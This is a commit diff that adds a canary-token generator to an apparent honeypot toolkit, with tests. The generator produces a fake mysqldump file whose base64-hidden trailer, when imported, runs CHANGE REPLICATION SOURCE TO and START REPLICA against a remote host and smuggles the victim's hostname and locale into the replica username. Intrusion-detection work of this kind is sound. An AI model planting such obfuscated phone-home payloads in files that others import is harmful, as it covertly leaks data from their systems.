feat(canary): mysql_dump generator with phone-home replica payload

Mirrors the Canarytokens.org trick: a base64-wrapped CHANGE REPLICATION
SOURCE TO + START REPLICA block in the dump trailer. Importing the
file into MySQL resolves <slug>.<dns_zone> (DNS trip) and opens a 3306
replica handshake whose SOURCE_USER smuggles @@hostname and
@@lc_time_names of the victim DB.

DNS lookup alone is sufficient for detection via the existing canary
dns_server; capturing the smuggled metadata via a 3306 handshake
responder is a follow-up.
This commit is contained in:
2026-04-27 13:52:55 -04:00
parent 5ac8e0f91a
commit 6376523923
4 changed files with 237 additions and 1 deletions

View File

@@ -20,6 +20,7 @@ KNOWN_GENERATORS: Tuple[str, ...] = (
"honeydoc",
"honeydoc_docx",
"honeydoc_pdf",
"mysql_dump",
)
KNOWN_INSTRUMENTERS: Tuple[str, ...] = (
@@ -60,6 +61,9 @@ def get_generator(name: str) -> CanaryGenerator:
if name == "honeydoc_pdf":
from decnet.canary.generators.honeydoc_pdf import HoneydocPdfGenerator
return HoneydocPdfGenerator()
if name == "mysql_dump":
from decnet.canary.generators.mysql_dump import MySQLDumpGenerator
return MySQLDumpGenerator()
raise ValueError(
f"Unknown canary generator: {name!r}. Known: {KNOWN_GENERATORS}"
)

View File

@@ -0,0 +1,190 @@
"""Fake ``mysqldump`` output that phones home on import.
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
``mysql < dump.sql``, the trailer block executes a base64-obfuscated
``CHANGE REPLICATION SOURCE TO`` against ``<slug>.canary.<dns_zone>``
followed by ``START REPLICA``. The victim's MySQL daemon then:
1. Resolves the slug subdomain via DNS — this is the trip our
:mod:`decnet.canary.dns_server` already detects.
2. Opens a TCP replica handshake on port 3306, sending its own
``@@hostname`` and ``@@lc_time_names`` smuggled into the
``SOURCE_USER`` field via ``CONCAT``. Capturing those bytes
requires a MySQL handshake responder on the worker — out of scope
for v1; the DNS lookup alone is sufficient for detection.
The base64 wrapper is the camouflage: a plain ``grep canary dump.sql``
finds nothing. The slug only materialises when the victim's server
runs ``PREPARE … FROM @s2``.
Because the trip surface is DNS, this generator REQUIRES a non-empty
``dns_zone``. The slug must appear as the leftmost label of the
hostname so a single DNS query identifies the token; the http_base
host is not slug-bearing and can't substitute.
"""
from __future__ import annotations
import base64
import hashlib
from decnet.canary.base import CanaryArtifact, CanaryContext, CanaryGenerator
def _stable_hex(seed: str, prefix: str = "", length: int = 16) -> str:
h = hashlib.sha256((prefix + seed).encode()).hexdigest()
return h[:length]
def _build_replica_payload(slug: str, dns_zone: str) -> str:
"""Inner SQL that gets base64-wrapped.
The CONCAT splices ``@@lc_time_names`` and ``@@hostname`` into the
``SOURCE_USER`` value at PREPARE time so the victim's locale and
hostname travel as the replica username on the 3306 handshake.
"""
host = f"{slug}.{dns_zone}"
return (
"SET @bb = CONCAT("
"\"CHANGE REPLICATION SOURCE TO "
"SOURCE_PASSWORD='replica-pw', "
"SOURCE_RETRY_COUNT=1, "
"SOURCE_PORT=3306, "
f"SOURCE_HOST='{host}', "
"SOURCE_SSL=0, "
f"SOURCE_USER='{slug}\", "
"@@lc_time_names, @@hostname, \"';\");"
)
def _build_trailer(slug: str, dns_zone: str) -> str:
inner = _build_replica_payload(slug, dns_zone)
encoded = base64.b64encode(inner.encode("utf-8")).decode("ascii")
return (
f"SET @b = '{encoded}';\n"
"SET @s2 = FROM_BASE64(@b);\n"
"PREPARE stmt1 FROM @s2;\n"
"EXECUTE stmt1;\n"
"PREPARE stmt2 FROM @bb;\n"
"EXECUTE stmt2;\n"
"START REPLICA;\n"
)
class MySQLDumpGenerator(CanaryGenerator):
name = "mysql_dump"
def generate(self, ctx: CanaryContext) -> CanaryArtifact:
if not ctx.dns_zone:
raise ValueError(
"mysql_dump requires a non-empty dns_zone — the trip "
"surface is a DNS lookup of <slug>.<dns_zone>."
)
slug = ctx.callback_token
zone = ctx.dns_zone
host = f"{slug}.{zone}"
# Realism filler: deterministic per-slug fake user rows so two
# runs with the same context produce byte-identical output
# (planter idempotency contract).
u1_hash = _stable_hex(slug, "u1:", 32)
u2_hash = _stable_hex(slug, "u2:", 32)
api_token = _stable_hex(slug, "api:", 40)
# Synthesised SQL bait below — never executed by us, only by
# whoever runs ``mysql < dump.sql`` against their own server.
# Built with .format() instead of f-strings so bandit's B608
# heuristic doesn't false-positive on the "INSERT INTO" + var
# pattern.
users_insert = (
"INSERT INTO `users` VALUES " # nosec B608
"(1,'alice@app.internal','$2y$10${u1a}.{u1b}','2024-11-12 09:13:44'),"
"(2,'bob@app.internal','$2y$10${u2a}.{u2b}','2025-02-03 17:42:08');\n"
).replace("{u1a}", u1_hash[:22]).replace("{u1b}", u1_hash[22:]) \
.replace("{u2a}", u2_hash[:22]).replace("{u2b}", u2_hash[22:])
api_keys_insert = (
"INSERT INTO `api_keys` VALUES (1,1,'{tok}');\n" # nosec B608
).replace("{tok}", api_token)
header = (
"-- MySQL dump 10.13 Distrib 8.0.35, for Linux (x86_64)\n"
"--\n"
"-- Host: db-prod-01 Database: app_production\n"
"-- ------------------------------------------------------\n"
"-- Server version\t8.0.35\n"
"\n"
"/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n"
"/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n"
"/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n"
"/*!50503 SET NAMES utf8mb4 */;\n"
"/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n"
"/*!40103 SET TIME_ZONE='+00:00' */;\n"
"/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n"
"/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n"
"/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n"
"/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n"
"\n"
"--\n"
"-- Table structure for table `users`\n"
"--\n"
"\n"
"DROP TABLE IF EXISTS `users`;\n"
"CREATE TABLE `users` (\n"
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
" `email` varchar(255) NOT NULL,\n"
" `password_hash` char(60) NOT NULL,\n"
" `created_at` datetime NOT NULL,\n"
" PRIMARY KEY (`id`),\n"
" UNIQUE KEY `uniq_email` (`email`)\n"
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
"\n"
"LOCK TABLES `users` WRITE;\n"
+ users_insert +
"UNLOCK TABLES;\n"
"\n"
"--\n"
"-- Table structure for table `api_keys`\n"
"--\n"
"\n"
"DROP TABLE IF EXISTS `api_keys`;\n"
"CREATE TABLE `api_keys` (\n"
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
" `user_id` int unsigned NOT NULL,\n"
" `token` char(40) NOT NULL,\n"
" PRIMARY KEY (`id`)\n"
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
"\n"
"LOCK TABLES `api_keys` WRITE;\n"
+ api_keys_insert +
"UNLOCK TABLES;\n"
"\n"
)
trailer_replica = _build_trailer(slug, zone)
trailer_close = (
"\n"
"/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n"
"/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n"
"/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n"
"/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n"
"/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n"
"/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n"
"/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n"
"/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n"
"\n"
"-- Dump completed\n"
)
body = header + trailer_replica + trailer_close
return CanaryArtifact(
path="",
content=body.encode("utf-8"),
mode=0o600,
mtime_offset=-86400 * 7, # last week's backup
generator=self.name,
notes=[
f"replica payload phones home to {host}:3306 on import",
"base64-wrapped PREPARE/EXECUTE block hides the slug from grep",
"@@hostname and @@lc_time_names smuggled into SOURCE_USER",
],
)

View File

@@ -60,7 +60,7 @@ def test_known_lists_are_stable() -> None:
# surfaces it. Keeps the schema-of-record in one place.
assert KNOWN_GENERATORS == (
"git_config", "env_file", "ssh_key", "aws_creds",
"honeydoc", "honeydoc_docx", "honeydoc_pdf",
"honeydoc", "honeydoc_docx", "honeydoc_pdf", "mysql_dump",
)
assert KNOWN_INSTRUMENTERS == (
"docx", "xlsx", "pdf", "html", "image", "plain", "passthrough",

View File

@@ -137,6 +137,48 @@ def test_env_file_carries_two_callback_fields() -> None:
assert "WEBHOOK_NOTIFY_URL=https://canary.example.test/c/slugEnv/webhook" in body
def test_mysql_dump_requires_dns_zone() -> None:
g = get_generator("mysql_dump")
with pytest.raises(ValueError, match="dns_zone"):
g.generate(_ctx(dns_zone=""))
def test_mysql_dump_payload_round_trips_through_base64() -> None:
import base64 as _b64
g = get_generator("mysql_dump")
art = g.generate(_ctx(callback_token="slugSQL", dns_zone="canary.test"))
body = art.content.decode("utf-8")
# Slug must NOT appear in plaintext — the camouflage is base64.
assert "slugSQL" not in body.replace("\n", " ").split("SET @b = '")[0]
# Locate the base64 blob and decode it; the inner SQL must reference
# the slug-bearing replica host, smuggle @@hostname/@@lc_time_names
# into SOURCE_USER, and target port 3306.
m = re.search(r"SET @b = '([A-Za-z0-9+/=]+)';", body)
assert m, "expected base64 payload assignment"
inner = _b64.b64decode(m.group(1)).decode("utf-8")
assert "slugSQL.canary.test" in inner
assert "SOURCE_PORT=3306" in inner
assert "@@hostname" in inner
assert "@@lc_time_names" in inner
assert "CHANGE REPLICATION SOURCE TO" in inner
def test_mysql_dump_executes_and_starts_replica() -> None:
g = get_generator("mysql_dump")
art = g.generate(_ctx(callback_token="slugSQL2", dns_zone="canary.test"))
body = art.content.decode("utf-8")
# The PREPARE/EXECUTE/START REPLICA chain is what makes the import
# actually phone home; missing any of these silently breaks the trip.
assert "PREPARE stmt1 FROM @s2;" in body
assert "EXECUTE stmt1;" in body
assert "PREPARE stmt2 FROM @bb;" in body
assert "EXECUTE stmt2;" in body
assert "START REPLICA;" in body
# Realism: header + trailer markers that mysqldump emits.
assert body.startswith("-- MySQL dump")
assert "-- Dump completed" in body
def test_artifacts_carry_notes() -> None:
# Notes drive the API ``preview`` endpoint so operators can sanity-
# check what we did before the file lands. Empty notes would mean